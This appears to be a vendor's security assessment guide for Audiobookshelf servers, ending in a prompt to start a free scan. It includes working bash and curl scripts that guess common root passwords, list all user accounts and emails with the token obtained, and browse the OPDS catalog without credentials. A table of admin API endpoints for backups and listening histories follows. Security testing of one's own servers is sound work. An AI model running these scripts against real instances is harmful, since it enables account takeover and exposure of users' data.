Audiobookshelf is one of the most widely deployed self-hosted audiobook and podcast server applications, storing purchased audiobooks, podcast subscriptions, and reading progress data. Its security assessment covers: Audiobookshelf creates a root admin account on first startup with a password set during the initial setup wizard — many deployments use weak passwords like "root" or "password" for convenience; Audiobookshelf's REST API uses JWT tokens returned from /login — admin tokens provide full access to library management, user creation, and server settings; Audiobookshelf's OPDS catalog at /opds enables e-reader and podcast app clients to browse and download content — when allowOpdsWithoutCredentials is enabled (the default), the full audiobook catalog is accessible without authentication; Audiobookshelf's server backup feature creates a downloadable archive of all database content including user accounts; and admin users can access listening progress and statistics for all users on the instance. This guide covers systematic Audiobookshelf security assessment.
# Audiobookshelf credential testing — root admin account with common passwords
ABS_URL="https://abs.example.com"
# Test common root account passwords
for PASS in "root" "password" "admin" "audiobookshelf" "abs"; do
RESPONSE=$(curl -s -X POST "${ABS_URL}/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"root\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('user',{})
print(user.get('token',''))
" 2>/dev/null)
if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
echo "AUTH SUCCESS: root/${PASS}"
echo "API token: ${TOKEN:0:50}..."
# Get all users
curl -s "${ABS_URL}/api/users" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
print(f' {u.get(\"username\")} ({u.get(\"email\",\"?\")}) type={u.get(\"type\")}')
" 2>/dev/null
break
fi
done
# Audiobookshelf OPDS catalog — may be accessible without credentials
ABS_URL="https://abs.example.com"
# Test OPDS catalog access without authentication
OPDS_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${ABS_URL}/opds" 2>/dev/null)
echo "OPDS catalog HTTP status: ${OPDS_STATUS}"
# If accessible (200), enumerate the catalog
curl -s "${ABS_URL}/opds" 2>/dev/null | \
python3 -c "
import sys, xml.etree.ElementTree as ET
try:
root = ET.parse(sys.stdin).getroot()
ns = {'atom': 'http://www.w3.org/2005/Atom', 'opds': 'http://opds-spec.org/2010/catalog'}
entries = root.findall('atom:entry', ns)
print(f'OPDS catalog accessible — {len(entries)} root entries')
for e in entries[:5]:
title = e.find('atom:title', ns)
if title is not None:
print(f' {title.text}')
except Exception as ex:
print(f'Error: {ex}')
" 2>/dev/null
# Browse library contents through OPDS without authentication
curl -s "${ABS_URL}/opds/libraries" 2>/dev/null | head -30
| Security Test | Method | Risk |
|---|---|---|
| Weak root admin password | POST /login with root/password, root/root, root/admin — JWT token gives full library management, user creation, server settings, and backup download access | Critical |
| OPDS unauthenticated access when allowOpdsWithoutCredentials=true | GET /opds without credentials — full audiobook catalog browsable and downloadable; all library content accessible without authentication | High |
| Server backup download exposing full database | GET /api/backups/download with admin JWT — backup archive contains all user accounts, library metadata, and listening history | High |
| All user listening history accessible to admin | GET /api/users/{id}/listening-sessions with admin token — complete listening history and progress for every user on the instance | Medium |
| Library item download without per-library auth | GET /api/items/{id}/download with any user token — download audiobook files if library permissions are misconfigured | High |
| User enumeration via admin API | GET /api/users with admin token — lists all registered users including usernames, emails, and account types | Medium |
Ironimo tests Audiobookshelf deployments for weak root admin passwords via the /login endpoint, OPDS feed unauthenticated access when allowOpdsWithoutCredentials is enabled exposing the full audiobook catalog, server backup download revealing all user accounts and library metadata, user listening history enumeration via the admin API, library item download permission testing, and user account enumeration.
Start free scan